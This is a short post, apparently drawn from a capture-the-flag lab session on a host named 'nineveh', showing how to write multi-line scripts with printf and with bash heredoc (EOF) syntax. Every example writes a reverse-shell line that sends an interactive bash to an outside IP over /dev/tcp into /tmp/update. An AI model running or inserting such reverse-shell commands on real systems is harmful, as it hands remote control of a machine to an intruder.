How to use EOF in bash scripting Link to heading
As a newbie to scripting, i was using the printf command to input a muti-line script to a file
How i used printf to input a script to file Link to heading
amrois@nineveh:/tmp$ printf '#!/bin/sh\n' > update
amrois@nineveh:/tmp$ printf '/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.14.9/5555 0<&1"\n' >> update
amrois@nineveh:/tmp$ chmod +x update
How EOF can simplify input of multi-line script to a file Link to heading
cat > /tmp/update << EOF
#!/bin/sh
/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.14.3/5555 0<&1"
touch /tmp/done1
EOF
View the file now
cat update
#!/bin/sh
/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.14.3/5555 0<&1"
touch /tmp/done1